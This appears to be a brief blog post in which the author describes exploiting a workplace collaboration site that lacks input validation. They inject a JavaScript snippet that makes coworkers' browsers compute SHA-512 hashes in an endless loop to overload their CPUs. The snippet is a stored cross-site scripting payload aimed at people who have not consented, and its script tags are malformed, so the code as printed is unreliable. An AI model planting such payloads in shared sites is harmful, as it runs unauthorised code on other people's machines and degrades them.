Generate sha512 Hashes in an Infinite Loop
At my office we use a website for collaboration that does not do any user input validation. For this reason it is trivial to run “creative” javascript code on a coworkers computer. Here is a script that generates sha512 hashes in an infinite loop. It will cause the computer’s fan to start spinning really fast.
<script src="https://cdn.jsdelivr.net/npm/node-forge@0.7.0/dist/forge.min.js">
<script>
const md = forge.md.sha512.create();
const calc = (i)=>{
md.update(i);
setTimeout(()=>{calc(++i)},1);
}
calc(0);
<script>